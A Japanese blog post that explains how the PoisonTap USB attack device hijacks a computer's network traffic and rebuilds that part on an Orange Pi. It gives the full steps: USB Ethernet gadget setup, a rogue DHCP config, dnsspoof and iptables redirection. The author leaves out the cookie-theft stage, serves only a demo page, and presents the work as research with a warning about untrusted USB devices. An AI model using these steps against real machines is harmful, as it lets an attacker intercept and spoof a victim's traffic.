USBポートに挿すだけでインターネット接続を乗っ取るガジェットを作ってみた
このエントリーは、KLab Advent Calendar 2016 の20日目の記事です。
煽り気味のタイトルですみません。少し前に話題になった「PoisonTap」に興味を惹かれ、どうやって動作しているのかを調べて、実際に手元で組み上げてみましたというお話です。(今回は半田ごては使いません)
先日、5V電源が欲しくて同僚にUSBポートを借りようとしたら全力で拒否されました。USBも気軽に挿してもらえない世の中じゃ... @pandax381 です。
*** 本記事の内容は技術的な検証を行うことが目的であり、迷惑行為や犯罪行為を推奨するものではありません ***
PoisonTap とは?
PoisonTap とは、1ヶ月ほど前に Samy Kamkar 氏が公開して話題になったクラッキングデバイスです。
I've released PoisonTap; attacks *locked* machines, siphons cookies, exposes router & backdoors browser w/RasPi&Node https://t.co/mbTAti33wy
— Samy Kamkar (@samykamkar) 2016年11月16日
Raspberry Pi Zero をベースにしたデバイスから伸びた USB ケーブルをコンピュータに接続しただけで、対象のコンピュータからクッキーを盗み出したりバックドアを仕込んでしまうという代物で、Hacker News などで取り上げられて話題になりました。
This $5 Device Can Hack your Password-Protected Computers in Just One Minute - The Hacker News
同氏が公開している動画の中では、アンロックされた状態のコンピュータに接続していますが「パスワードロックされた状態」であっても「1分」でクラック可能と謳っているところを見ると、なかなか凶悪なデバイスであることがわかります。
なお、PoisonTap に関する詳細な情報は作者のWebサイトで公開されており、ソースコードも GitHub で公開されています。
なにをやっているのか?
PoisonTap が何をしているのか、ものすごく端折って書き出すと以下の3点にまとめられます。
- USB Ethernet アダプタとして振る舞う(物理レイヤ)
- ネットワークトラフィックを吸い込む(ネットワークレイヤ)
- 本来の通信相手になりすまして悪さをする(アプリケーションレイヤ)
これらの要素をもう少し掘り下げて解説します。
USB Ethernet アダプタとして振る舞う
PoisonTap をコンピュータに接続すると USB Ethernet アダプタとして識別されます。これは、Linux が備えている USB Gadget Driver を利用して実現しているようです。USB Gadget Driver は、USB のデバイスコントローラを使って様々な機能を提供するドライバで、イーサネットやシリアル通信、HID、Webカメラ、ストレージなどとして振る舞うことができます。
USB のコントローラには、ホストコントローラとデバイスコントローラの二種類があり、Gadget Driver を利用するためにはデバイスコントローラが必要になります。通常の PC にはホストコントローラしか搭載されていませんが、スマホや組み込みボードなどには、ホストにもデバイスにもなれる「USB OTG(On-The-Go)」に対応した MicroUSB のポートが搭載されていることが多く、PoisonTap も Raspberry Pi Zero の OTG 対応 MicroUSB ポートを利用しています。
USB Gadget Driver のイーサネット機能は、本来は Raspberry Pi Zero のようにネットワークインタフェースを持たないデバイスが USB を経由して別のホストと通信するために使われるものですが、PoisonTap はこの仕組みを巧妙に利用しています。
ネットワークトラフィックを吸い込む
PoisonTap は、接続したコンピュータに対して通信相手が PoisonTap がなりすました USB Ethernet アダプタの先に存在していると思い込ませることで、ネットワークトラフィックを吸い込みます。これを実現するために、PoisonTap は以下の動作をします。
- PoisonTap 内部で稼働している DCHP サーバがアドレスを払い出す
- DHCP でアドレスを払い出す際に、ルータ&DNS サーバとして自身のアドレスを広告する
- PoisonTap 内部で稼働しているダミーの DNS サーバが何を聞かれても PoisonTap のアドレスを返す
PoisonTap の内部では DHCP サーバと DNS サーバが動作しています。ホスト側がネットワークの自動設定を行うために DHCPのリクエストを投げるため、これに対して内部で動作している DHCP サーバがレスポンスを返してネットワークのパラメータを流し込みます。この際に、DHCP のレスポンスに含まれるルータおよび DNS サーバのアドレスに PoisonTap 自身のアドレスを設定することで、トラフィックを吸い込もうとしています。
ここで、ある程度ネットワークに関する知識のある方は「こんなんで本当にトラフィックを吸い込めるのか?」と思われることでしょう。僕もすごく疑問だったのですが、結論から言うと「ある条件下では確かにトラフィックを吸い込める」ことが分かりました。
「ある条件下」とは、Mac OSX で(ネットワーク環境設定でインタフェースの優先順位を弄らずに)Wi-Fi のみで接続しているケースです。これまであまり意識したことはなかったのですが、OSX では Wi-Fi のインタフェースよりも有線インタフェースの方が優先されるようで、たとえ Wi-Fi でインターネットアクセス可能な環境で接続していたとしても、後から有線インタフェースが接続されると、有線インタフェース側の設定が適用されるのがデフォルトの動作です。そのため、動画にもあるように Wi-Fi だけで運用している OSX に PoisonTap を接続すると、かなり高い確率でプライマリのネットワークデバイスとして扱われ(DNSサーバやデフォルトゲートウェイの設定が適用されて)トラフィックが PoisonTap 側に吸い込まれてしまいます。
このような OSX の動作は、手動でネットワークインタフェースの優先度を設定することで回避できます。また、Windows ではどのような挙動をするのか試していないのでわかりませんが、もしかしたら OSX とは違う挙動をするかもしれません。それを見込んでか、PoisonTap はトラフィックを吸い込むために後述するような手の込んだことをやっています。
加えて、PoisonTap 内部で動作している DHCP サーバが配布しているアドレスがなかなかに邪悪で、 0.0.0.0/1 のネットワークから払い出されたものです。0.0.0.0/1 のアドレス空間は 0.0.0.0 - 127.255.255.255 であり、これは IPv4 アドレス空間の半分を占めています。ルーティングの際にデフォルトゲートウェイが選択されるのは、ルーティングテーブルにそれを内包するネットワークが存在しなかった場合なので、ネットワークアドレスを 1bit だけでも一致させてしまえばそのパケットのルーティング先を PoisonTap に向けることができるのです。つまり、ネットワークインタフェースの優先順位を手動で設定していたとしても、正規のルーティング処理で PoisonTap 側にパケットが吸い込まれるようにしているのです。
また、この方法で吸い込んだ DNS のリクエストにも応答できるように、パケットキャプチャをしながら、DNSパケットに無差別に応答する dnsspoof という DNS サーバを使っています。さらに、名前解決済みのホストに対する通信パケットを吸い込んだ場合を想定して、iptables で REDIRECT の設定もしています。
本来の通信相手になりすまして悪さをする
アプリケーションレイヤは守備範囲外のため今回の調査の対象外です。
実際に作ってみる
まずはじめに残念なお知らせですが、Raspberry Pi シリーズの場合、Zero 以外では USB Gadget の機能を使えません。何故かというと、B シリーズの USB ポートは USB コントローラに直結されているのではなく、USB HUB を内蔵した Ethernet コントローラを経由して引き出されており、USB コントローラが強制的にホストモードで動作するようになっているためです。(A シリーズはさわったことがないのでわかりませんが、B シリーズと同様にデバイスモードで使えないという情報を目にしました)
デバイスの選定
そんなわけで、手元にある Raspberry Pi 2 が使えないため、代わりのデバイスを調達しなければなりません。Raspberry Pi Zero は $5 と安価なものの、送料が $20 くらい掛かってしまうことと、一人1台の購入制限があるため他の候補を探してみました。

OTG 対応の MicroUSB ポートを備えた手頃なボードを探していて見つけたのが「Orange Pi One」です。名前もさることながら、チップレイアウトがなかなかにロックですね。(ちなみに最新モデルのチップレイアウトは更に前衛的です)
完全に Raspberry Pi を意識しているわけですが、 衝撃のお値段 $9.99 に対して、Cortex-A7 1.2GHz Quad-Core / 512MB RAM / 100MB Ethernet と、まぁまぁなスペックになっています。GPIO ピンの配列も Raspberry Pi と互換性があると謳っています。ラインナップも豊富で、さらにコンパクトで安価なものから PC 代わりに使えそうなハイスペックなものまでありますが、Wi-Fi や Bluetooth などの無線コントローラを搭載していると技適の問題が出てくるので注意が必要です。
この Orange Pi が搭載してる SoC は「Allwinner」という中国の半導体メーカーのもので、有名どころだと「C.H.I.P.」や「ニンテンドークラシックミニ」などに搭載さています。
セットアップ
Orange Pi のサポートサイトで公式のイメージが配布されていますが、最終更新から一年以上経過していてあまりメンテナンスされていないように見受けられます。(っと思っていましたが、久しぶりに見たら数日前に更新されていました!)
ざっと調べたところコミュニティベースで開発されている armbian というディストリビューションを使うのが良さそうということがわかりました。Orange Pi シリーズや Banana Pi シリーズなどがサポートされています。イメージ配布だけではなく、ビルドのためのツールチェーンも公開されているので、カーネルのリビルドなどにも困らなそうです。
「Download > Orange Pi One > Jessie server」と進んで、OS イメージをダウンロードします。
ダウンロードした OS イメージは 7zip で圧縮されているため、OSX の場合には展開するためのツールをインストールする必要があります。
$ sudo brew install p7zip
OS イメージを展開して dd で SDカードに書き込みます。(* dd コマンドの of= に指定するデバイスは環境に合わせて変更してください)
$ mkdir image
$ 7z -o./image x ~/Downloads/Armbian_5.20_Orangepione_Debian_jessie_3.4.112.7z
$ sudo dd if=./image/Armbian_5.20_Orangepione_Debian_jessie_3.4.112.img of=/dev/rdisk2 bs=1m
OS イメージにはブートローダ(U-Boot)など必要なものがすべて含まれているので、書き込み後は Orange Pi に差し込んで電源を入れればブート出来ます。
U-Boot SPL 2016.09-armbian (Sep 15 2016 - 07:19:14)
DRAM: 512 MiB
Trying to boot from MMC1
U-Boot 2016.09-armbian (Sep 15 2016 - 07:19:14 +0200) Allwinner Technology
CPU: Allwinner H3 (SUN8I 1680)
Model: Xunlong Orange Pi One
DRAM: 512 MiB
MMC: SUNXI SD/MMC: 0
*** Warning - bad CRC, using default environment
In: serial
Out: serial
Err: serial
Net: phy interface0
eth0: ethernet@1c30000
Hit any key to stop autoboot: 0
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot/boot.scr
2886 bytes read in 158 ms (17.6 KiB/s)
## Executing script at 43100000
gpio: pin PL10 (gpio 298) value is 1
Warning: value of pin is still 0
gpio: pin PG11 (gpio 203) value is 1
0 bytes read in 114 ms (0 Bytes/s)
** File not found /boot/.next **
** Unrecognized filesystem type **
** File not found .next **
35908 bytes read in 422 ms (83 KiB/s)
3114523 bytes read in 322 ms (9.2 MiB/s)
5025168 bytes read in 469 ms (10.2 MiB/s)
## Loading init Ramdisk from Legacy Image at 43300000 ...
Image Name: uInitrd
Image Type: ARM Linux RAMDisk Image (gzip compressed)
Data Size: 3114459 Bytes = 3 MiB
Load Address: 00000000
Entry Point: 00000000
Verifying Checksum ... OK
Using machid 0x1029 from environment
Starting kernel ...
...
Debian GNU/Linux 8 orangepione ttyS0
orangepione login:
root の初期パスワードは「1234」に設定されています。また、初回ログイン時に root のパスワード変更と一般ユーザの作成を行うスクリプトが走るようになっています。最後にネットワークの疎通確認も兼ねて apt のパッケージリストを更新してセットアップ完了です。
# apt-get update
USB Gadget の設定
PoisonTap と同じように USB Ethernet アダプタとして振る舞うために USB Gadget の設定を行います。
PoisonTap は pi_startup.sh というスクリプトの中で USB Gadget の設定を行っていますが、今回これは参考に出来ません。何故かというと、PoisonTap のやり方は configfs + libcomposite を使ったモダンな手法のため、armbian の安定版の kernel 3.4 ではレガシーな方法で設定しなければならないためです。
まず、USB Gadget の Ethernet Driver である g_ether.ko をロードします。
# modprobe g_ether idVendor=0x1d6b idProduct=0x0103 use_eem=0
g_ether.ko がロードされると、Orange Pi 側に usb0 というネットワークデバイスが追加されます。
# ip addr show usb0
4: usb0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether a6:e4:fd:ba:02:d6 brd ff:ff:ff:ff:ff:ff
とりあえず手動でアドレスを設定して起動させます。
# ip addr add 1.0.0.1/1 dev usb0
# ip link set usb0 up
# ip addr show usb0
4: usb0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
link/ether a6:e4:fd:ba:02:d6 brd ff:ff:ff:ff:ff:ff
inet 1.0.0.1/1 scope global usb0
続いて Orange Pi の OTG ポートをデバイスモードに設定します。
# echo -n 2 > /sys/bus/platform/devices/sunxi_usb_udc/otg_role
この状態で Orange Pi の OTG ポートと MacBook を USB ケーブルで接続してみると「RNDIS/Ethernet Gadget」というデバイスが自動で追加されます。まだ DHCP サーバを起動していないので、アドレスを手動で設定してあげます。

手動でアドレスを設定してから Orange Pi 宛に ping を投げるとちゃんと応答が返ってきます。
$ ping -c 3 1.0.0.1
PING 1.0.0.1 (1.0.0.1): 56 data bytes
64 bytes from 1.0.0.1: icmp_seq=0 ttl=64 time=0.431 ms
64 bytes from 1.0.0.1: icmp_seq=1 ttl=64 time=0.403 ms
64 bytes from 1.0.0.1: icmp_seq=2 ttl=64 time=0.452 ms
--- 1.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.403/0.429/0.452/0.020 ms
ひとまず、これで Orange Pi を USB Ethernet アダプタとして認識させることができました。
DHCP サーバの設定
この辺は手順だけ。まず、DHCP サーバをインストールします。
# apt-get install isc-dhcp-server
続いて、/etc/default/isc-dhcp-server を編集します。
INTERFACES="usb0"
/etc/dhcp/dhcpd.conf に最低限の設定を記述します。
ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
log-facility local7;
subnet 0.0.0.0 netmask 128.0.0.0 {
range 1.0.0.2 1.0.0.254;
option routers 1.0.0.1;
option domain-name "example.org";
option domain-name-servers 1.0.0.1;
}
DHCPサーバを起動させます。
# systemctl start isc-dhcp-server.service
DNS サーバの設定
dnsspoof が含まれている dnsniff パッケージをインストールします。
# apt-get install dsniff
ルーティングの設定をしてから dnsspoof を起動します。
# sysctl -w net.ipv4.ip_forward=1
# ip route add 0.0.0.0/0 dev usb0
# dnsspoof -i usb0 port 53 >/dev/null &
試しに MacBook 側から名前解決をしてみると、どのドメイン名に対しても Orange Pi のアドレスが返ってくることが確認できます。
$ dig www.klab.com
; <<>> DiG 9.8.3-P1 <<>> www.klab.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25391
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;www.klab.com. IN A
;; ANSWER SECTION:
www.klab.com. 60 IN A 1.0.0.1
;; Query time: 738 msec
;; SERVER: 1.0.0.1#53(1.0.0.1)
;; WHEN: Tue Dec 20 16:26:56 2016
;; MSG SIZE rcvd: 46
HTTP サーバの設定
動作確認用に HTTP サーバを立ててダミーのコンテンツを返すように設定します。
# apt-get install lighttpd
/etc/lighttpd/lighttpd.conf を編集して lighttpd の稼働ポートを 8080 に変更します。
server.port = 8080
設定を反映させるために lighttpd を再起動させます。
# systemctl restart lighttpd.service
どのアドレス宛に来たリクエストでも処理できるように iptables で REDIRECT の設定をしておきます。
# iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 8080
本当はどの URI にアクセスされてもコンテンツを返すように設定すべきですが、ここでは index のコンテンツだけ返すようにします。
# cat << EOF > /var/www/html/index.html
<html>
<head>
<title>Welcome To The Bad Network< /title>
</head>
<body style="background-color:#000000; color:#ff0000; text-align: center;">
<br/><br/><br/>
<h1>Your traffic is mine!</h1>
</body>
</html>
EOF
さて、この状態で MacBook からブラウザで適当なサイトの閲覧してみるとどうなるでしょうか...

見事に Orange Pi 上で動いている HTTP サーバのコンテンツが返りました。この PoisonTap もどきが接続されている限り、どのサイトにアクセスしてもこのコンテンツが返ります。(*HTTPS を除く)
おわりに
本当は Orange Pi 用の U-Boot や Kernel をビルドするところから書こうと思ったのですが、時間が全く足りないので、そのうち別の記事として書きます。(あと、USB Gadget の部分をさらっと書いたものの、本当は g_ether のモジュールをロードする際のパラメータ選定にものすごく苦労したのでその辺りも)
この記事の内容は PoisonTap のネットワーク周りの処理を再現しただけですが、これをベースに何か面白いものが作れないかと考えています。(絶賛アイディア募集中)
良い子のみんなは得体の知れない USB デバイスをつないじゃダメだよ!ラズパイオレパイおじさんとの約束だよ!